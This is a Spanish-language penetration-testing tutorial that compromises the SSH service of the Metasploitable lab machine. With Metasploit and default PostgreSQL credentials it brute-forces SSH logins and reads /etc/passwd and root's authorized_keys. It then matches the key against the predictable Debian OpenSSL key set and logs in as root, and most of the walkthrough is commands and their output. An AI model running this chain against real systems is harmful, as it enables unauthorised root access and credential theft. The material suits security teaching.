CONCEPTOS BASICOS DE PENETRACION BAJO PLATAFORMA GNU/LINUX(VULNERABLE) USANDO METASPLOIT FRAMEWORK – PARTE II
Atacando un servicio SSH Vulnerable

Encontrando Vulnerabilidades sobre el servicio SSH (Puerto 22)

Tomando como insumo, las credenciales para acceso a las bases de datos postgresql y mysql anteriormente identificados en la entrada anterior, se puede ejecutar consultas SQL “maliciosas” que obtengan información sensible almacenada en la maquina, como por ejemplo ficheros de configuración, información de programas instalados y/o ficheros de claves.

En este caso, es posible obtener la clave RSA almacenada en el servidor y posteriormente utilizarla para obtener acceso a la maquina por medio de SSH, este es un vector de ataque valido para comprometer un servicio SSH desactualizado. Una de las habilidades que debe desarrollar un buen hacker/pentester es la capacidad de conseguir vectores de ataque indirectos contra sistemas a los que es difícil atacar de forma directa, (como en este caso). Por otro lado, si el lector no conoce detalles sobre SSH en próximas entradas se hablará sobre el tema a un nivel intermedio/avanzado.

Aunque este será el vector de ataque que se va a emplear para comprometer el servicio SSH, también se indican algunos otros módulos existentes en MetaSploit para tratar con servicios SSH.

msf > search ssh
[*] Searching loaded modules for pattern ‘ssh’…
Auxiliary=========Name Disclosure Date Rank Description—- ————— —- ———–fuzzers/ssh/ssh_kexinit_corrupt normal SSH Key Exchange Init Corruption

fuzzers/ssh/ssh_version_15 normal SSH 1.5 Version Fuzzer

fuzzers/ssh/ssh_version_2 normal SSH 2.0 Version Fuzzer

fuzzers/ssh/ssh_version_corrupt normal SSH Version Corruption

scanner/ssh/ssh_login normal SSH Login Check Scanner

scanner/ssh/ssh_login_pubkey normal SSH Public Key Login Scanner

scanner/ssh/ssh_version normal SSH Version Scanner

Exploits

========

Name Disclosure Date Rank Description

—- ————— —- ———–

windows/ssh/freeftpd_key_exchange 2006-05-12 average FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow

windows/ssh/freesshd_key_exchange 2006-05-12 average FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow

windows/ssh/putty_msg_debug 2002-12-16 normal PuTTy.exe <= v0.53 Buffer Overflow

windows/ssh/securecrt_ssh1 2002-07-23 average SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow

Existen unos cuantos módulos que pueden ser útiles para obtener información sobre la maquina objetivo y/o realizar ataques de fuerza bruta.

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description

—- ————— ——– ———–

BLANK_PASSWORDS true no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS yes The target address range or CIDR identifier

RPORT 22 yes The target port

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads

USERNAME root no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_AS_PASS true no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

msf auxiliary(ssh_login) > set RHOSTS 192.168.1.34

RHOSTS => 192.168.1.34

msf auxiliary(ssh_login) > set BRUTEFORCE_SPEED 2

BRUTEFORCE_SPEED => 2

msf auxiliary(ssh_login) > set USERPASS_FILE /home/adastra/UTILITIES/userlist.lst

USERPASS_FILE => /home/adastra/UTILITIES/userlist.lst

msf auxiliary(ssh_login) > set PASS_FILE /home/adastra/UTILITIES/passwordSimple.lst

PASS_FILE => /home/adastra/UTILITIES/passwordSimple.lst

msf auxiliary(ssh_login) > set PASS_FILE /home/adastra/UTILITIES/userPass.lst

PASS_FILE => /home/adastra/UTILITIES/userPass.lst

msf auxiliary(ssh_login) > run

[*] 192.168.1.34:22 – SSH – Trying: username: ‘root’ with password: »

[-] 192.168.1.34:22 – SSH – Failed: ‘root’:»

[*] 192.168.1.34:22 – SSH – Trying: username: ‘admin’ with password: »

[-] 192.168.1.34:22 – SSH – Failed: ‘admin’:»

…………………

[-] 192.168.1.34:22 – SSH – Failed: ‘root’:’1234′

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

El ataque por fuerza bruta no ha funcionado, debido a una de dos razones, la clave es fuerte o el diccionario utilizado es muy pobre, en cualquier caso, los ataques de fuerza bruta contra servicios SSH son especialmente peligrosos, dado que muchos servicios están configurados de forma tal, que después de una cantidad determinada de intentos, la dirección desde donde se realizan dichas peticiones es “marcada” en una blacklist que rechaza directamente todas las peticiones que provienen desde las direcciones almacenadas en dicha lista, por este motivo, una vez más se recomienda que para este tipo de operaciones se utilice THC Hydra.

Ahora, como ya se ha comentado, se procede a comprometer el servicio SSH, los pasos ha seguir son los siguientes:

  1. Por medio de PostgreSQL leer el fichero /etc/passwd, para hacer esto, existen dos opciones realizar una conexión de forma manual a la base de datos o utilizar el modulo posgresql_readfile, a continuación se detallan ambos procedimientos.
    msf > use auxiliary/admin/postgres/postgres_readfile
    msf auxiliary(postgres_readfile) > show options
    Module options (auxiliary/admin/postgres/postgres_readfile):
    Name Current Setting Required Description
    —- ————— ——– ———–
    DATABASE template1 yes The database to authenticate againstPASSWORD no The password for the specified username. Leave blank for a random password.

    RFILE /etc/passwd yes The remote file

    RHOST yes The target address

    RPORT 5432 yes The target port

    USERNAME postgres yes The username to authenticate as

    VERBOSE false no Enable verbose output

    msf auxiliary(postgres_readfile) > set PASSWORD postgres

    PASSWORD => postgres

    msf auxiliary(postgres_readfile) > set RHOST 192.168.1.34

    RHOST => 192.168.1.34

    msf auxiliary(postgres_readfile) > run

    Query Text: ‘CREATE TEMP TABLE AgyFhQKKRZ (INPUT TEXT);

    COPY AgyFhQKKRZ FROM ‘/etc/passwd’;

    SELECT * FROM AgyFhQKKRZ’

    ===========================================================================================================================

    input

    —–

    root:x:0:0:root:/root:/bin/bash

    daemon:x:1:1:daemon:/usr/sbin:/bin/sh

    bin:x:2:2:bin:/bin:/bin/sh

    sys:x:3:3:sys:/dev:/bin/sh

    sync:x:4:65534:sync:/bin:/bin/sync

    games:x:5:60:games:/usr/games:/bin/sh

    man:x:6:12:man:/var/cache/man:/bin/sh

    lp:x:7:7:lp:/var/spool/lpd:/bin/sh

    mail:x:8:8:mail:/var/mail:/bin/sh

    news:x:9:9:news:/var/spool/news:/bin/sh

    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

    proxy:x:13:13:proxy:/bin:/bin/sh

    www-data:x:33:33:www-data:/var/www:/bin/sh

    backup:x:34:34:backup:/var/backups:/bin/sh

    list:x:38:38:Mailing List Manager:/var/list:/bin/sh

    irc:x:39:39:ircd:/var/run/ircd:/bin/sh

    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

    libuuid:x:100:101::/var/lib/libuuid:/bin/sh

    dhcp:x:101:102::/nonexistent:/bin/false

    syslog:x:102:103::/home/syslog:/bin/false

    klog:x:103:104::/home/klog:/bin/false

    sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

    msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

    bind:x:105:113::/var/cache/bind:/bin/false

    postfix:x:106:115::/var/spool/postfix:/bin/false

    ftp:x:107:65534::/home/ftp:/bin/false

    postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

    mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false

    tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false

    distccd:x:111:65534::/:/bin/false

    user:x:1001:1001:just a user,111,,:/home/user:/bin/bash

    service:x:1002:1002:,,,:/home/service:/bin/bash

    telnetd:x:112:120::/nonexistent:/bin/false

    proftpd:x:113:65534::/var/run/proftpd:/bin/false

    [*] Auxiliary module execution completed

    Como se puede apreciar, con este modulo y evidentemente conociendo las credenciales de acceso a la base de datos, es posible obtener información sensible del sistema, en este caso se ha conseguido la información de los usuarios/grupos existentes en la maquina objetivo, por otro lado para realizar una conexión manualmente a la base de datos:

    msf > psql -h 192.168.1.34 -U postgres -W
    [*] exec: psql -h 192.168.1.34 -U postgres -W
    Password for user postgres:
    create table users_system (input TEXT); copy users_system from ‘/etc/passwd’; select input from users_system; CREATE TABLE COPY 35 input——————————————————————————

    root:x:0:0:root:/root:/bin/bash

    daemon:x:1:1:daemon:/usr/sbin:/bin/sh

    bin:x:2:2:bin:/bin:/bin/sh

    sys:x:3:3:sys:/dev:/bin/sh

    sync:x:4:65534:sync:/bin:/bin/sync

    games:x:5:60:games:/usr/games:/bin/sh

    man:x:6:12:man:/var/cache/man:/bin/sh

    lp:x:7:7:lp:/var/spool/lpd:/bin/sh

    mail:x:8:8:mail:/var/mail:/bin/sh

    news:x:9:9:news:/var/spool/news:/bin/sh

    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

    proxy:x:13:13:proxy:/bin:/bin/sh

    www-data:x:33:33:www-data:/var/www:/bin/sh

    backup:x:34:34:backup:/var/backups:/bin/sh

    list:x:38:38:Mailing List Manager:/var/list:/bin/sh

    irc:x:39:39:ircd:/var/run/ircd:/bin/sh

    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

    libuuid:x:100:101::/var/lib/libuuid:/bin/sh

    dhcp:x:101:102::/nonexistent:/bin/false

    syslog:x:102:103::/home/syslog:/bin/false

    klog:x:103:104::/home/klog:/bin/false

    sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

    msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

    bind:x:105:113::/var/cache/bind:/bin/false

    postfix:x:106:115::/var/spool/postfix:/bin/false

    ftp:x:107:65534::/home/ftp:/bin/false

    postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

    mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false

    tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false

    distccd:x:111:65534::/:/bin/false

    user:x:1001:1001:just a user,111,,:/home/user:/bin/bash

    service:x:1002:1002:,,,:/home/service:/bin/bash

    telnetd:x:112:120::/nonexistent:/bin/false

    proftpd:x:113:65534::/var/run/proftpd:/bin/false

    (35 rows)

    Independiente del mecanismo, el resultado es el mismo, de hecho realizar la conexión a la base de datos y copiar los datos del fichero /etc/passwd en una tabla, es justo lo que hace el modulo postgres_readfile

  2. La información anteriormente obtenida, ha arrojado un resultado interesante, se trata de los puntos de montaje o directorios raíz de cada una de las cuentas de usuario así como la(s) shell(s) que soporta, ahora solamente basta consultar el directorio raíz del usuario “root” para averiguar si existe el directorio <ROOT_DIR>/.ssh/authorized_keys/ que es creado automáticamente por SSH para almacenar las claves correspondientes a las conexiones realizadas. El mecanismo es el mismo que el anteriormente descrito para obtener el fichero /etc/passwd.
    msf > use auxiliary/admin/postgres/postgres_readfile
    msf auxiliary(postgres_readfile) > show options
    Module options (auxiliary/admin/postgres/postgres_readfile):
    Name Current Setting Required Description
    —- ————— ——– ———–
    DATABASE template1 yes The database to authenticate againstPASSWORD postgres no The password for the specified username. Leave blank for a random password.

    RFILE /etc/passwd yes The remote file

    RHOST 192.168.1.34 yes The target address

    RPORT 5432 yes The target port

    USERNAME postgres yes The username to authenticate as

    VERBOSE false no Enable verbose output

    msf auxiliary(postgres_readfile) > set RFILE ‘/root/.ssh/authorized_keys’

    RFILE => /root/.ssh/authorized_keys

    msf auxiliary(postgres_readfile) > run

    Query Text: ‘CREATE TEMP TABLE KmDNRoKcC (INPUT TEXT);

    COPY KmDNRoKcC FROM ‘/root/.ssh/authorized_keys’;

    SELECT * FROM KmDNRoKcC’

    =======================================================================================================================================

    input

    —–

    ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

    [*] Auxiliary module execution completed

    Como puede apreciarse, se ha podido obtener una clave RSA almacenada en el directorio raíz del usuario “root”

  3. Ahora la pregunta lógica será, que se puede hacer con esta clave en este formato? En el sitio http://www.exploits-db.com existe una gran cantidad de claves RSA disponibles, aprovechando una vulnerabilidad conocida del servicio SSH con OpenSSL en distribuciones basadas en Debian que consiste en la “predicibilidad” de la clave RSA generada. Para ver los detalles de esta vulnerabilidad: http://www.exploit-db.com/exploits/5622/
    A continuación se procede a seguir los siguientes pasos:

    >wget http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
    –2011-05-16 22:56:13– http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
    Resolving http://www.exploit-db.com&#8230; 174.129.211.218
    Connecting to http://www.exploit-db.com|174.129.211.218|:80…
    connected.HTTP request sent, awaiting response… 200 OKLength: 50226987 (48M) [application/x-bzip2]

    Saving to: `debian_ssh_rsa_2048_x86.tar.bz2′

    100%[==============================================================================================================================>] 50,226,987 1.01M/s in 81s

    2011-05-16 22:57:35 (603 KB/s) – `debian_ssh_rsa_2048_x86.tar.bz2′ saved [50226987/50226987]

    > tar jxvf debian_ssh_rsa_2048_x86.tar.bz2

    …………

    > cd rsa/2048

    > grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub

    57c3115d77c56390332dc5c49978627a-5429.pub

La clave se encuentra almacenada en el repositorio de claves, ahora es posible utilizarla para realizar una conexión SSH, normalmente especificando dicha clave con la opción -i:

> ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.1.34 -p 22
The authenticity of host ‘192.168.1.34 (192.168.1.34)’ can’t be established.RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added ‘192.168.1.34’ (RSA) to the list of known hosts.Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

You have mail.

root@metasploitable:~# whoami

root

Nota: En el caso de que la clave RSA no pueda ser localizada se puede buscar alguna otra vulnerabilidad en www.exploit-db.com e intentar aplicarla, por otro lado, si por alguna razón la conexión es rechazada con el siguiente mensaje de error:

>ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@192.168.1.34 -p 22
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!Someone could be eavesdropping on you right now (man-in-the-middle attack)!

It is also possible that the RSA host key has just been changed.

The fingerprint for the RSA key sent by the remote host is

56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.

Please contact your system administrator.

Add correct host key in /root/.ssh/known_hosts to get rid of this message.

Offending key in /root/.ssh/known_hosts:5

RSA host key for 192.168.1.34 has changed and you have requested strict checking.

Host key verification failed.

Es debido a que probablemente, la dirección IP de la víctima se ha registrado anteriormente en el directorio raíz de la maquina del atacante asociándose con otra maquina y otra clave RSA, esto es bastante común en entornos de pruebas, especialmente cuando el router asigna dinamicamente direcciones IP a cada una de las maquinas conectadas (servidor DHCP activo), para evitar esto, simplemente es necesario limpiar dicha dirección IP del listado de hosts conocidos utilizando el siguiente comando

>ssh-keygen -R 192.168.1.34/root/.ssh/known_hosts

updated.Original contents retained as /root/.ssh/known_hosts.old

Después de ejecutar eso, será posible realizar una conexión de forma normal con SSH.